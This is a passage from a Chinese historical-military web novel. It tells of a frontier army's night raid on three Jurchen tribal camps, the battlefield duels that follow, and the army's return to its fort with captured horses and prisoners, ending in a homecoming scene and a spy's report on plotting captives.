“轰!轰!轰——!”
**声虽不及后世雷霆,但在此刻,不亚于晴天霹雳!
火光迸射间,可怕的气浪将人掀飞,密集的竹篾、铁片、铁钉如同死亡的暴雨向四周激射,中者非死即伤,惨嚎声顿时压过了喊杀声。
这种超越认知的打击方式,带来的心理恐慌远胜于实际杀伤,许多女真兵抱头鼠窜,建制瞬间瓦解。
“这,这又是何物件?竟有雷霆之威?”
坐镇中军指挥、正准备压上的赵起,亲眼看到一枚竹筒雷在远处人群炸开后,有人被炸断手脚,有人浑身都是血洞,发出凄厉的惨叫。
这种惨状,他眼皮剧烈跳动,下意识地厉声喝问。这可怕的威力超出了他对寻常火攻的认知。
“将军,据说这是秦知寨先前琢磨出来的,名曰‘竹筒雷’!末将曾有幸见过一次试爆!”身旁的袁飞立刻解释道,语气中带着一丝与有荣焉。
“这种火器威力极强,杀伤范围大,专克**兵。”
“哈哈哈!好!好个秦猛!回去定要好好问他,此物能否大批制造,一旦普及,岂能**放肆?”赵起闻言大喜,心中战意更炽,一挥长刀,“儿郎们,随我杀!让这些**有来无回!”
“严风,你来指挥队伍冲杀。”
“得令。”严风苦笑,接过骑兵指挥权,调度。
赵起的大刀是饥渴难耐,好久没有**了。他亲自率领中军精锐,如同决堤洪流,冲向已陷入混乱的敌营,一个个女真兵被**当场。
不单单是这一路,另外两路,秦猛与赵平也带着队伍从纵火,转为猎杀,收割鞑虏的性命。
三座女真营盘,女真兵纷纷从睡梦中被惊醒。慌乱或嚎叫着冲出营房,却迎来灭顶之灾。
左路,大军如疾风般卷向秃鹫部落。
赵起胯下白马奔驰,速度极快,手中长刀翻飞,每一次挥砍都精准狠辣,带起一蓬血雨。
多年征战的经验让他犹如拥有直觉,总能出现在敌人阵型最薄弱的位置,长刀所指,必然引起一片混乱。
亲兵队长赵三、**紧随其侧后,他俩统兵能力是弱项,但却勇猛过人,两杆**如同**出洞,枪影闪烁,将任何试图从侧面偷袭主将的敌人刺于马下,牢牢护卫着赵起的侧翼。
而被调过来的袁飞紧随赵将军身后,专门开弓射箭,救援己方将士,或是射杀敌军头目。
而过来充当先锋的张富贵,更是将悍勇发挥到了极致,他胯下乌骓如撒了欢,一条特制的狼牙棒狂甩乱砸,碰上即死,沾着即伤。
硬生生带着一队精锐在敌营中冲出了一条血路。所过之处帐倒人亡,率先将秃鹫部的营盘搅得天翻地覆。
赵起在后面看得真切,连连感慨真是猛将也!
右路,黑鹰部营盘,也迎来了赵平、吴斌和徐强这三员猛将的致命冲击。
赵平**如龙,枪尖寒星点点,专挑敌人要害,招式刁钻狠厉。
吴斌双刀如轮,舞动起来水泼不进,整个人如同一个巨大的绞肉机滚入敌群,刀光过处,残肢断臂横飞。
策应二人的徐强更是势大力沉,一对精铁铁锏砸、扫、磕、崩,招式大开大合,**的弯刀皮盾触之即碎,中者立毙。
三人配合默契
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,无视两侧骚扰,目标明确直扑后方马厩。
守卫的**骑兵尚未不及上马,便被这雷霆般的攻击打懵,控制住马厩后,再次展开冲杀。
中路军,面对的是实力最强的蒲察部,至少三千精锐**。
然而,率先撞入营盘的秦猛,犹如一道黑色闪电!
他胯下踏雪乌骓快如疾风,一身铁甲在火光下泛着幽光,手中一杆镔铁**化作夺命毒**,借着马速,一记迅猛无比的突刺,便将一名蒲察悍将挑飞出去。
他并不停留,**翻飞,或刺或扫,势大力沉,每一次攻击都凝聚着千钧之力,硬生生在蒲察部密集的阵型中撕开了一道巨大的缺口。
王善、**两兄弟一左一右,同样是**翻飞,紧紧护住秦猛两翼,将试图合围的敌人刺落。
而身材魁梧的牛五则发出震**吼,手中一柄开山巨斧狂野劈砍,招式虽不及**精巧,却有着摧枯拉朽的威力,往往一斧下去,连人带盾皆被劈开,勇不可当。
更令人侧目的是鲁真,一柄沉重铁禅杖在他手中犹如灯草,挥舞起来风声赫赫,扫、砸、抡、戳,招式刚猛霸道,禅杖过处,**非死即伤,当者披靡!
林怒、李明、阮大兄弟也是不遑多让,人人勇猛,个个争先。在众将领身先士卒的奋力冲杀下,陷阵营将士犹如打了鸡血般嗷嗷乱叫。
他们三五成群,七八一伙,疯狂**见到的敌人。蒲察部落儿郎虽然悍勇,却被更狂暴如波狂涛怒浪般的攻击打得节节败退,建制涣散。
三路兵马如同地府涌出的勾魂使者!
三个部落又以为外面有其他部落挡枪而放松了警惕。却在这最松懈的时候,遭遇到骑兵突袭。
三千骑兵杀来,没有准备的情况下,别说是区区六千人马,就再多十倍是六万人也扛不住。
何况草原上的儿郎没有马匹,就等同于没有双腿。战斗力大打折扣,哪里挡得住骑兵冲杀?
三座营地里,火光冲天,惨叫声此起彼伏。最终,三路大军以锐不可当之势,几乎同时杀穿了三座营盘,更是形成了隐隐的包围之势。
张富贵、鲁真、王善、李明、林怒等悍将眼见大局将定,纷纷嗷嗷乱叫着,拨马再次冲杀。
他们如同数支离弦利箭,目光灼灼地直扑各自眼中最具价值的目标——那代表部落荣耀与指挥中枢的狼头大纛、秃鹫旗帜和黑鹰战旗所在!
他们要斩将夺旗,立不世之功!
第294章 焚营余威,斩将夺旗
二十多里外的一处雪坡上。
青狼部落头人卡隆、白鹿部落头人苏合、以及南室韦山神部落头人莫日根,三人并辔而立,正回望着天际那片被火光映成暗红色的夜空。
即便相隔如此之远,夜风似乎也送来了隐约可闻的喊杀声、兵刃撞击声和垂死的惨嚎。
三人相顾骇然,彼此都能看到对方眼中那无法掩饰的惊惧,后背早已被冷汗浸湿,握着缰绳的手微微颤抖。
他们前脚刚走,后脚周军竟然发动了突袭。看这凶猛的架势,他们三部落走不走都得来突袭。
“幸好……幸好我们听了劝,及时离开了……”卡隆喃喃自语,声音干涩,带着劫后余生的颤抖。
此刻,他对那个使用“阳谋”,说瓜分草原牧场、看似粗豪却谋略深远的周将秦猛,已不仅仅是庆幸,更涌起了难以言喻的深深敬畏。
这把大火,烧毁的不仅是女真联军的大营,更是将大周军的武勇与谋略,如同惊雷般震撼人心,狠狠烙印在了三个草原部落头人的心头。
“不好!”苏合突然一个激灵,“速走!若是周军追杀女真溃兵时波及到此,我们便说不清了!”
卡隆、莫日根闻言立刻反应过来,再无半点观望之心,慌忙调转马头,连声催促着各自部落的儿郎,带着无尽的惶恐,加速离开了这片是非之地,只想离那恐怖的战场越远越好。
他们的这一选择,无疑是明智的!
女真联军驻地的战斗,几乎呈现一边倒的态势。
从睡梦中惊醒的女真兵卒,惊慌失措,许多甚至来不及穿上衣甲,找不到兵刃,晕头转向间。
或被疾驰而过的骑兵砍倒,或被冲天大火吞噬,或被**的竹筒雷破片撕碎。
建制完全被打乱,士兵找不到长官,长官无法集结队伍,恐慌如同瘟疫般蔓延,引发了军队最可怕的“营啸”,被恐惧支配乱糟糟一团。
女真兵争先恐后地跑向马厩或者往营地外面跑。不是死在周**下,就是在自相践踏中丧生。
乱**海中,忽闻一声洪钟般的佛号响彻战场:“阿弥陀佛——佛爷送尔等去见大明王菩萨!”
只见一员虎将,胯下白龙马神骏如雪里麒麟,掌中一杆六十九斤浑铁禅杖,正是鲁真。
他竟不披铁甲,只着皂色战衣,裸露的胸膛上肌肉虬结,在火光下如铜浇铁铸,直如金刚临凡!
白龙马所过之处,女真兵如波开浪裂。鲁真目标明确,禅杖舞动如风车,杀开一条血路。直取正在狼头大纛下呼喝的蒲察氏族头人卡罗尔!
“保护头人!”亲兵队长目眦欲裂,率最精锐的勇士结阵迎上。
鲁真狂笑一声:“土鸡瓦狗尔,也放光华?”
白龙马骤然加速,鲁真双臂叫力,禅杖一式“金刚伏魔”,硬撼刺来的十数杆长矛!
“咔嚓!咔嚓嚓——!”
刺耳断裂声爆豆般响起,精铁长矛竟如朽木般纷纷折断!
禅杖去势不止,带着千钧之力横扫而过,前排几个勇士如被巨木撞击,胸骨尽碎,狂喷鲜血,倒飞出去,将后方阵型撞得七零八落!
卡罗尔见亲卫瞬间溃散,惊骇欲绝,拔刀欲做困兽之斗。
鲁真岂容他喘息?白龙马人立而起,鲁真借势将禅杖高高抡起,全身力量灌注杖身,口中暴喝如雷:“番酋,受佛爷一杖!罗汉降世!”
禅杖化作一道乌黑闪电,以泰山压顶之势猛劈而下!
卡罗尔举刀硬架,无异螳臂当车!
只听“铛——噗!”一声恐怖巨响,弯刀碎裂,精铁头盔连同头骨被砸得粉碎!
卡罗尔连惨叫都未及发出,便如烂泥般瘫倒在地。
鲁真勒马,禅杖狂甩,环视骇然失声的敌军,声震四野:“尔等头人已伏诛,挡我者死!”
“大师,被你抢了先!”王善,林怒,李明等人来迟了一步,骂骂咧咧地率队奔向他处冲杀。沿途挡路的女真兵被他们猛打,惨叫连连。
另一边,秃鹫部驻地内,头人兀良合正凭勇武肆虐,其狼牙棒下已有数名周军壮士捐躯。
忽闻,战场南方传来一声更狂暴的怒吼:“哪个撮鸟敢伤我弟兄!你张爷爷在此!”
声到,马到,人到!
只见张富贵胯下卷毛乌骓马,如同地狱冲出的魔兽,浑身漆黑,唯有四蹄踏火,冲撞而至。
张富贵本人如同铁塔,手中那柄特大号狼牙棒,根根铁齿狰狞,怕不得有五十斤上下!
“又来一个送死的!”兀良合自恃勇力,挥棒迎上。
两马对冲,张富贵不闪不避,眼中凶光爆射,狼牙棒一式“五岳摧崩”,毫无花俏地硬撼而去!
“镗——!”
两棒相撞,发出的不再是金铁交鸣,而是如同山崩地裂般的恐怖巨响!火星如烟花般炸开!
兀良合只觉一股无法抗拒的洪荒巨力顺着棒身传来,双臂剧痛欲裂,虎口瞬间崩开,鲜血淋漓,狼牙棒再也拿捏不住,脱手飞出数丈之远!
“你……”兀良合满眼骇然,不敢相信世间有此神力。
张富贵得势不饶人,乌骓马前冲之势不停,狼牙棒顺势回扫,使出一招“席卷千军”。
兀良合欲躲已迟,沉重的棒头狠狠扫在他的腰间铁甲上!
“嘭!”一声闷响,兀良合的护心镜连同肋骨尽数塌陷,整个人像破麻袋一样被砸飞出去,撞翻了好几个亲兵,落地时已是七窍流血,眼见不活了。
张富贵看也不看,挥棒杀入敌群,当真如虎入羊群。
相较于鲁真的狂猛、张富贵的霸烈,赵平
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也是个猛将,战斗风格则是致命的优雅与精准。
他率领的精锐如同手术刀,直插联军心脏。
黑鹰部头人纳合拔都的弟弟,部落的金刀勇士纳合忽律,正率亲卫队死守中军要道,此人骁勇,刀法刁钻,已连伤数名周军哨长。
“贼子休狂,赵平来也!”赵平见状,一拍战马,如离弦之箭射出。
纳合忽律见来将气势不凡,狞笑一声,舞刀迎上。
“周将,拿命来!”
两马交错,纳合忽律弯刀幻出数道寒光,虚实难辨。
赵平眼神冰冷,手中银枪后发先至,枪尖微颤,如同毒蛇吐信般,竟在电光火石之间,精准地点中了纳合忽律刀法中最薄弱之处!
“破!”
一声清叱,纳合·忽律只觉手腕巨震,刀势一滞。
赵平岂会错过良机?第二枪紧随而至,快如闪电,直刺其咽喉!正是赵家枪绝技——“银龙探海”!
纳合忽律大骇,拼命后仰,枪尖擦着喉结而过,带出一溜血珠,惊出他一身冷汗。
然而,赵平枪势如长江大河,第三枪已如影随形!
纳合忽律旧力已尽,新力未生,也来不及躲避。眼睁睁看着那一点寒星在瞳孔中无限放大!
“噗嗤!”
枪尖精准无比地刺入纳合忽律的咽喉,透颈而出!
赵平手腕一抖,抽枪回马,纳合忽律捂住喷血的喉咙,身体轰然坠地,眼中满是惊骇与不甘。
“忽律!”正在组织抵抗的纳合拔都目睹亲弟惨死,发出一声悲鸣。
他环顾四周,火海映天,蒲察、秃鹫头人皆亡,麾下最勇猛的弟弟也被一**命,周军已然合围,败局已定。
巨大的悲痛和绝望压倒了他,纳合拔都长叹一声,抛下弯刀,滚鞍**,单膝跪地,声音沙哑:“将军神威!黑鹰部……纳合拔都……愿率部请降!只求将军……能够给条活路!”
赵平勒马,银枪斜指,声音沉稳却不容置疑:“捆了。飞虎卫上前,接收降众,清点物资。降者不杀,若有异动,反抗者,格杀勿论!”
命令迅速执行,随着头人呼吁,黑鹰部的抵抗彻底瓦解。
赵平深知,女**反复无常,不过却身体强壮,接受投降不仅能够迅速平息厮杀,又能送回去当苦力,甚至还能被赎回去,一举多得。
徐强又打爆一个女真兵脑壳,恶狠狠地提议:“赵统领,秦知寨说过,女**欺软怕硬,生性卑劣。可以投降,但那条猪尾巴直接剃掉,不剃掉就割头,留发不留头,让他们自己选。”
“一人跑,杀十人,十人跑,杀百人。一旦反抗,无论是否参与,全体连坐,送他们上路!”
“呃……”赵平一时语塞了,这秦某人好重的杀气!
第295章 雪原大捷,满载而归
鲁真如金刚降世,禅杖所向,人马俱碎;张富贵似蛮荒凶兽,狼牙棒下,再无完躯;赵平则像冰冷的剑客,银枪点处,必夺性命。
女真三部落**头人,蒲察·卡罗尔、秃鹫部兀良合先后**,黑鹰部纳合拔都率众投降。
他们斩将夺旗,立了大功。
然而,此次飞虎卫精锐齐出,猛将如云。勇猛程度更胜鲁真三人的秦猛、赵起需要领兵,尚未全力施为,其麾下战将已如饿狼扑食!
战场之上,斩将夺旗乃立不世之功,最能摧垮敌胆!眼见联军大乱,众将岂会放过这等良机?
蒲察部落此次来了三千余精锐,建制较为完整,军中三名千夫长,就成了周军众将争抢的目标!
秦猛身侧,王善、常勇、林怒、李明、阮大兄弟、张虎、刘冲等一大票将领人人有傲气,个个眼冒精光,如狼似虎地冲杀,专门寻找衣甲鲜明、吼声最大、试图聚拢兵马的**头目。
林怒性子最急,一眼瞥见一名千夫长正在挥刀呵斥溃兵,当即拍马挺枪直取而去。
那女真千夫长也非弱者,举刀格挡,但林怒含怒而发,势如雷霆,**抖动,荡开弯刀,顺势一捅,便将其刺穿挑落,率先夺得一大功。
另一名山夫长则更为狡猾,武艺也更高强,李明率族弟李威、李猛三人合战,刀枪并举,方才将其死死缠住。
那女真勇士左支右绌,虽伤李威马匹,却终被李明找到破绽,一枪搠中肋下,李猛趁机补刀,结果了性命。
最后一名千夫长正与常勇激战,见势不妙,仗着马快,奋力杀出重围,企图远遁。眼看功劳要飞。
王善和刘冲左右包抄堵截。
阮大、阮二、阮三兄弟却从斜地理杀出来,展现出了绝佳的配合!
阮大在前方猛追不舍,吸引注意力,阮二、阮三则在侧后张弓搭箭!
“咻!咻!”两箭几乎同时射出,一箭射马臀,一箭擦过那女真勇士肩头!
战马吃痛之下乱蹦失蹄,背上骑士身形摇晃,阮大已然赶上,手起刀落,一颗头颅冲天而起。
这正是兄弟齐心,其利断金!
赵起将军麾下同样不是善茬。亲兵赵三、**等人本就是军中百里挑一的高手,勇猛异常。
而严风、吴斌等将领,能在北疆前沿爬到如今的位置,哪个不是在尸山血海中杀出来的宿将?
于乱战中斩杀的**头目不少,其中不乏百夫长,当户。
当然,运气有时也是实力的一部分。
秃鹫部落的严风此番便运气极佳,在追击溃兵时,竟撞上一个在混乱中坠马受伤、亲卫死尽的秃鹫部千夫长。
严风几乎笑出了猪叫声,立刻带队一拥而上,不费吹灰之力便将这送到嘴边的功劳活捉,喜得他见牙不见眼。
女真联军空有人数优势,但在飞虎卫这般迅猛的夜间突袭,以及众多猛将如狼似虎的定点斩首打击下,指挥体系彻底瘫痪,军心士气瞬间崩解。
氏族头人,千夫长,当户等先后**,这几乎成为了压垮女真联军最后一丝抵抗意志的稻草。
女真兵同样怕死,纵有少数悍勇之士,也陷入各自为战的绝境,最终只有走向覆灭一途。
熊熊烈火,不仅吞噬了营帐在夜间制造恐慌,更焚尽了女真部落联军最后一点反抗的气焰。
天色微明时,大规模有组织的抵抗已基本停止。营地化为一片焦土,尸骸枕籍,浓烟刺鼻。
零星溃散的女真兵卒如作鸟兽散,拼命逃窜,被飞虎卫的小股骑兵如同猎兔般追逐射杀。
直至午时,喊杀声才彻底平息。
蒲察部、秃鹫部、黑鹰部六千人除了上千人投降,其余留在了这片雪原上,逃脱者百不存一。
各队清点人数,飞虎卫自身伤亡极小,仅二三十人阵亡,百余人带伤,可谓是大获全胜。
而缴获之丰,令人咋舌:女真三大部落不愧是草原豪强,人配双马甚至三马,仅遗留在营中或周边被控制住的上好战马就超过过万匹。
这比灭了黑狼部落收获还要巨大!
要知道,还不算许多马匹受惊跑散,未能追回。
而且这些马匹大多都配备着鞍具!
此外,还有数千套羊皮袄,堆积如山的肉干、干酪、豆料、以及大量的铁甲皮甲、弓箭、兵刃等。昨晚被误杀的战马也有好几百匹。
就在主将赵起、秦猛望着驱赶回来的马群,堆积如山的物资,战马尸体以及黑鹰部降众,正为如何迅速转运这批庞大的战利品而发愁之际。
只听得南方的原野上,传来阵阵车马喧嚣声,一支浩浩荡荡的队伍出现在了地平线上。
队伍前方,正是负责后续迁移事宜的韩勇,以及负责护卫的王铁山。
这支队伍不仅带来了上千骑兵和两千余名辅兵民兵,更引人注目的是这是运输队,那超千辆由牛马牵引的大车,组成了一条蜿蜒的长龙。
这一幕,是那么的令人愉悦!
韩勇一马当先,驰至赵起和秦猛面前,勒住战马。他目光扫过一片狼藉但显然是大获全胜的战场,尤其是那漫山遍野无人骑乘的骏马和堆积的物资,脸上顿时绽开了灿烂的笑容。
他抱拳洪声道:“赵将军!秦知寨!看来我等来得正是时候啊!这……这简直是搬
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座金山回家啊!”
秦猛见到老部下,也是心情大好,指着那片缴获的战马群笑道:“老韩,你倒是会掐时辰!赶紧的,让你带来的弟兄们都动起来收拾,咱们这次可是发了大财,正愁人手不够呢!”
赵起抚须点头,脸上也难得露出了轻松的笑意:“韩勇,王铁山,你们来得太及时了。
如此一来,我军再无后顾之忧,不用忍痛割爱。传令下去,所有精壮,立刻协助我军打扫战场。记住,片甲不留,能带走的统统带走!”
“得令!”韩勇和王铁山高声应诺,脸上满是兴奋。
王铁山望着战利品,咧嘴笑道:“将军们放心,咱们别的不多,就是车多、人多!弟兄们,都听见没有?赶紧干活儿!把这些**的家当,都给老子搬空!一根**也别给后来人留下!”
民兵们看到如此丰厚的缴获,也是士气高涨,欢声雷动,纷纷驾着大车,如同潮水般涌向战场。
在飞虎卫士兵的指引下,开始紧张有序地清理工作。他们剥下完好的皮甲,捡起散落的兵刃,将粮草豆料等辎重装车,甚至连破损的毡房布料、敌人身上尚可的衣物都被收集起来。
对于战死的马匹,也迅速进行处理,剥皮、分割,将大块的鲜马肉冰冻或熏烤作为军粮。
整个战场变成了一个巨大的、热火朝天的露天清理场。
赵起和秦猛更是派出多支骑兵小队,扩大范围,追寻那些受惊跑散的战马,又陆续追回了千多匹良驹。
清理工作,一直持续到夜幕降临,方才将战场打扫得干干净净。
大军押解着俘虏,驱赶着成千上万的马匹牛羊,运输着满载物资、甚至车辕上都绑着缴获兵器铠甲的大车,浩浩荡荡返回黑狼部落旧址驻地。
是夜,驻地内点燃了无数篝火,举行了盛大的庆功宴。
烤肉香气四溢,马奶酒浓香,胜利的喜悦和丰厚的收获足以让每个人脸上都洋溢着笑容!
欢声笑语直至深夜。
第二天,休整完毕的庞大队伍,带着前所未有的丰厚战利品,人人兴高采烈,人人骑着马,至少还拽着两匹骏马的缰绳,踏上了凯旋归途。
张富贵,王铁山带队打头阵。
赵起坐镇中军,看押俘虏,护送缴获的战利品。秦猛亲自带队断后,防止**从后面追来。
队伍蜿蜒十数里,旌旗招展,马蹄声、车轮声、欢笑声汇成一片,显示出飞虎卫士气更加高涨。
然而,就在他们满载而归的同时,关于这场惨败的消息,已由那些极少数侥幸逃脱的女真溃兵,如同丧家之犬般将噩耗带回了草原深处。
第296章 万马归营,惊雷炸响
时间追溯至两日前。
铁血军寨,官署之内,气氛不同往日。当秦猛的亲兵带着文书抵达,高声传达“秦知寨有令”时。
主簿王槐(老保长)、兵曹参军诸葛风、孔目李恒以及各曹参军、副使皆神色一凛,肃然聆听。
“……我军大捷,命尔等全力协助王主簿、诸葛参军,接收俘虏及一应战利品,不得有误!”
命令传达完毕,亲兵转身离去,官署内却久久沉寂。
老保长王槐捻着胡须,眉头深锁:“这浑小子,以往打个胜仗,派人回来嚷嚷一声‘搬东西’就完事了,这次却下达公文,如此正式……看来,这次缴获绝非小打小闹,怕又得忙得脚不沾地。”
诸葛风颔首赞同:“老爷子所虑极是。命令中特意强调‘俘虏’与‘战利品’并列,且需我等‘全力协助’,规模必然惊人,恐怕远超以往。
我等须得立刻商议,详细筹划,划定区域,调配人手,免得到时,措手不及,引发混乱。”
“那就按照预案,行动起来!”王槐一拍桌子,定下基调。
军寨核心区域早已人满为患,显然无法容纳新来者。
众人当即议定方案:利用附寨中尚未有建筑坐落的两个平坦区域,以及葫芦口内几处开阔地,迅速划出五六块临时安置区,准备搭建简易毡房,用以收容即将到来的狼戎俘虏。
然而,安置数千降俘,首要之务便是震慑,防其生变。
秦大壮受命调动部分本部精锐、乌维率领的突击队,再加上上千名军寨预备役和精壮民夫,甚至从白松矿洞巡检司紧急借调了三百兵丁。
短短半日,这几处安置点附近便立起了一座座临时营盘,军帐成片,旌旗招展,兵甲鲜明。
军寨方面更是故意操演阵法,杀声震天,雪沫子飞扬,刻意营造出兵力雄厚、严阵以待的态势。
就是要给那些初来乍到、可能心怀异志的俘虏一个下马威:莫要轻举妄动,否则雷霆一击顷刻便至。
当第一波凯旋队伍出现在地平线上时,军寨的准备工作刚刚就绪。
韩勇一马当先,身后是由上千辆牛马大车组成的洪流,更令人瞠目结舌的是那绵延数里、占此次缴获五分之一的牛羊马群,缓缓向军寨涌来。
寨墙之上,望哨的士卒爆发出惊天动地的欢呼。
而寨门处,负责接收的诸葛风、李恒等人相视一眼,脸上已无最初的震惊。因为这场面见过多次,只剩下近乎麻木的、预见成真的苦笑。
“果然又来了!而且一次比一次吓人。”
诸葛风揉了揉眉心,挥手下令:“各司其职,按计划接收!文吏登记,兵丁引导,兽医查验,不得有误!”
整个军寨如同一个高效运转的机器,瞬间开动。
缴获的兵甲装备,统计清楚后,完好的分类打包入库,损毁的即刻送入军工作坊回炉重铸。
牛羊马匹则需经过兽医逐一检查,并用特意熬制的草药水泼洒消毒,方才被驱赶入棚圈。
幸好秦猛此前连战连捷,又通过交换俘虏获得了大量牲畜,军寨、附寨、几座军营的马厩、牛棚扩建了不少,暂时尚能应付这第一波。
然而,随着第二波、第三波缴获不断地运回,情况迅速变得棘手。
所有的圈舍很快被牛羊塞得满满当当,后来的牲口只能被临时分流到两座飞虎卫主力驻扎地的马厩,连空地上也紧急搭起了简易围栏。
整个军寨周边几乎成了巨大的牧场,牲畜的嘶鸣声此起彼伏。
俘虏的涌入更是考验着军寨的容纳和管理极限。一批批神情惶恐的狼戎人被押送至指定区域。
按照事先制定的流程:登记名册、洗漱清洁、发放统一的洁净皮袄、对应的号牌、分配临时住所,并且允许在指定区域搭建自己的毡房。
一切都仿照安置流民的规程,只是规模更大,气氛也更加紧张,周围警戒的士兵眼神锐利如鹰。
在数千俘虏中,不乏一些原黑狼部落的死硬分子。他们表面顺从,眼中却藏着桀骜与刻骨的仇恨。
毕竟部落新败,亲人离散,财富被夺,又岂能甘心?
在俘虏营的一角,几个原黑狼部落雷克萨酋长的亲信避开了贾德长老的视线,聚在一起低声商议。
为首的汉子名叫巴特,脸上带着一道刀疤,眼神凶狠:“该死的周狗!灭了我们的部落,抢了我们的牛羊,如今还把我们像牲口一样圈养。”
“此仇不报,誓不为人!”
旁边一个精瘦的汉子阿尔斯楞低声道:“巴特,小声点!我观察了,周狗后方看起来守卫不算太多,那些兵都在操练,像是做样子。
如果我们能煽动起大家,趁他们不备,抢了武器,说不定能制造混乱,抓他们几个大官,或者烧了他们的粮草,也算为雷克萨酋长报仇!”
另一个壮实些的哈森却有些犹豫:“可是……周围营垒森严,那些周军士兵看起来不好惹。这一路上,贾德长老也让我们不要惹事……”
“哼,贾德老了!胆小如鼠!”巴特啐了一口,“这是我们的机会,再仔细看看,找他们的破绽!”
他们却不知,不远处几个看似在忙碌收拾毡房的“俘虏”,正是暗部猎犬陈麻子手下的探子,将他们的窃窃私语和鬼祟举动尽收眼底。
然而,当巴特,哈森等人仔细观察周围环境时,心却渐渐沉了下去。
只见安置点周围营垒森严,岗哨林立,甲士巡逻往复不绝,那股久经沙场的肃杀之气绝非虚张
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声势。
更看到远处校场上,刚刚返回的第二波队伍中,又有数百名甲胄鲜明的飞虎卫生力军入驻,他们浑身散发煞气,刀枪映日,寒气逼人。
这几个刺头心下骇然,彼此交换了一个眼神,都看到了对方眼中的惊惧。
原先那点反抗的心思,在绝对的实力差距面前,不得不暂时压了下去,不敢妄动分毫。
飞虎卫数百精锐的及时回援,贾德长老带人四处游走,安抚族人,加上铁血军寨并未苛待,不仅归还各家毡房,而且提供了基本衣食。
多重因素下,狼戎俘虏中虽然有暗流涌动,但大规模抵抗情绪被有效压制,并未发生骚乱。
整个铁血军寨,在俘虏和战利品的洪流冲击下,看似忙碌纷乱,实则如同一个绷紧的弓弦,在暗部无形的网络监控下,把控着大局。
又过了两日,地平线上雪尘再起。
秦猛、赵起、鲁真、张富贵率领主力大军,押解着最后、也是最为庞大的一批缴获——主要是数以万计的战马——浩浩荡荡凯旋。
那一眼望不到头的马群,再次让瞭望军卒呆若木鸡。
诸葛风、李恒等人闻讯赶到寨墙,望着如同潮水般涌过河道的马群,欢喜过后又是忧愁。
王槐老保长也陪着南河城寨知寨官魏文一同出现。
魏文,乃是接到副将李雄先行带回的捷报后,得知此次缴获之巨,再也坐不住,直接将防务暂交李雄,亲自快马加鞭赶来“开眼界”。
同时,亲卫营副将周扬、狂风副将王魁等副将部将,也从飞虎卫驻地赶来,迎接凯旋的队伍。
寨门前,一番热闹的寒暄。
魏文望着漫山遍野的战马,眼睛骤然发亮,一把攥住秦猛的手连声道:“秦知寨,了不得!真是了不得啊!这等数量的良驹,我边军战力必能大增!”
周扬、王魁亦纷纷围上,对着赵起、秦猛满面喜色地拱手道贺,连连赞叹此役成果辉煌,单是这缴获的规模,便足以震慑边陲诸军。
军寨内外,早已欢声雷动,旌旗猎猎如蔽日,庆祝的号角声更是冲破云霄,久久回荡不绝。
只是连续七八日的行军作战,将士们早已是身心俱疲、眼皮打架。
赵起目光扫过众人,沉声道:“魏文,你率部协助秦知寨加强警戒,再调运足量草料过来。”
他顿了顿,话锋一转,嘴角却勾起一抹耐人寻味的笑:“庆功宴不急,定在三日后吧!
诸位先回营好生休整,至于这次收获,我保管值得你们等这两天,秦猛,你更是有个惊喜。”
此言一出,本就疲惫的众将顿时精神一振,连秦猛、张富贵等人也齐齐看向赵起,眼底的好奇与期待这个‘惊喜’,瞬间压过了满身倦意。
第297章 前厅暗流,后院相思
官署后院。
陈月娘正与林婉儿、秦小芸、王艳正准备吃晚饭。虽然早知草原那边打了胜仗,送回战利品。但陈月娘眉宇间仍带着一丝化不开的忧色。
林婉儿心思细腻,笑着安慰:“月娘姐姐,你就放宽心吧。秦大哥勇武过人,又有赵将军这等名将统领,此战大捷,定然安然无恙的。”
秦小芸也附和道:“是呀嫂子,我哥厉害着呢,肯定一根头发都没少!”
王艳一边摆着菜碟,一边打趣:“月娘姐这是相思病犯咯,等将军回来,见了面就好了。”
陈月娘被说得脸颊微红,刚要辩解,那句熟悉的、带着些疲惫却异常温柔的呼唤已在外面响起。
“月娘,娘子……”
陈月娘浑身一颤,几乎是从椅子上弹起来,也顾不得姐妹们善意的笑声,像一只归巢的乳燕。
她飞奔着冲出屋子,一眼便看到风尘仆仆归来的秦猛,不顾他穿着铁甲,也不顾他身上的风雪,毫不犹豫地扑进那熟悉而宽阔的怀抱。
“官人!您……您可算回来了!”女人声音带着哽咽,双臂紧紧环住丈夫的腰身,仿佛生怕一松手他就会消失。
“甲胄膈应人。”秦猛推开月娘,轻抚着妻子的后背,柔声道:“回来了,没事了,让你担心了。”
温存片刻,陈月娘才想起检查,连忙抬头,急切地上下打量:“你有没有受伤?我看看……”
就在这时,秦小芸也跑了出来,惊喜地叫着“哥”。
“秦大哥。”林婉儿笑靥如花,王艳和小蛮也跟了出来。
陈月娘脸颊羞红,却抱着秦猛的胳膊不松手。
“官人,你没吃饭吧?”
“你回来的正是时候,快进屋……”
陈月娘,秦小芸一左一右,拉着秦猛往堂屋走时,亲兵队长**快步走来,在院门外禀报:“大人,陈晓头领求见,说是有要事禀报。”
秦猛眉头微动,拍了拍陈月娘的手,笑道:“我真饿了,你们先进屋,我处理点事就来。”
他心中明了,暗部陈麻子此时来报,绝不会只是简单的“情况正常”,定然是非常重要的情报。
“好。”陈月娘懂事地点点头,压下心中重逢的喜悦和一丝不安,看着秦猛走向官署前厅的方向。她有种预感,这场大胜带来的,除了荣耀和收获,似乎还有潜藏在平静水面下的暗涌。
……
官署前厅,油灯摇曳。
陈麻子摘掉兜帽,神情恭敬中带着惯有的精明,低声汇报:“大人,俘虏营中确有不安分者。
以原黑狼部落酋长雷克萨的亲信巴特为首,约七八人,暗中串联,意图煽动**,趁乱报复。”
“哦?具体计划?”秦猛面色平静,手指轻敲桌面。
“他们已商议,想趁我军松懈时发难,目标可能是焚烧粮草、驱赶马群,或挟持我方重要人员,如诸葛先生等我军寨官员,以作要挟。不过,”
陈麻子语气一转,“今日见到主力归来,尤其是飞虎卫的军威后,他们气焰已被压下,暂时不敢妄动。但我们的人一直盯着,他们的小动作没停。”
秦猛眼中寒光一闪:“跳梁小丑,死而不僵。名单和动向掌控好,三天后,把他们全部收拾了。你找个理由,我会派秦部将带队协助。”
“是!”陈麻子昂首领命。
“嗯,这件事低调去做,暂时不必打草惊蛇。其他狼戎人务必多留意,我会让贾德长老多加‘安抚’,也让他知道,他族内并非铁板一块。
加派暗哨,今后若有异动,准你先斩后奏。这开春前后,是关键时期,军寨绝不能出乱子。”
“属下明白!”陈麻子领命,又补充道,“另外发现俘虏中有几个原黑狼部的祭司,行踪有些诡秘,似乎在暗中记录什么,已加派人手重点监控。”
“嗯,做得很好。下去吧,一切依计而行。”秦猛挥挥手。陈麻子躬身退下,从官署后门离去。
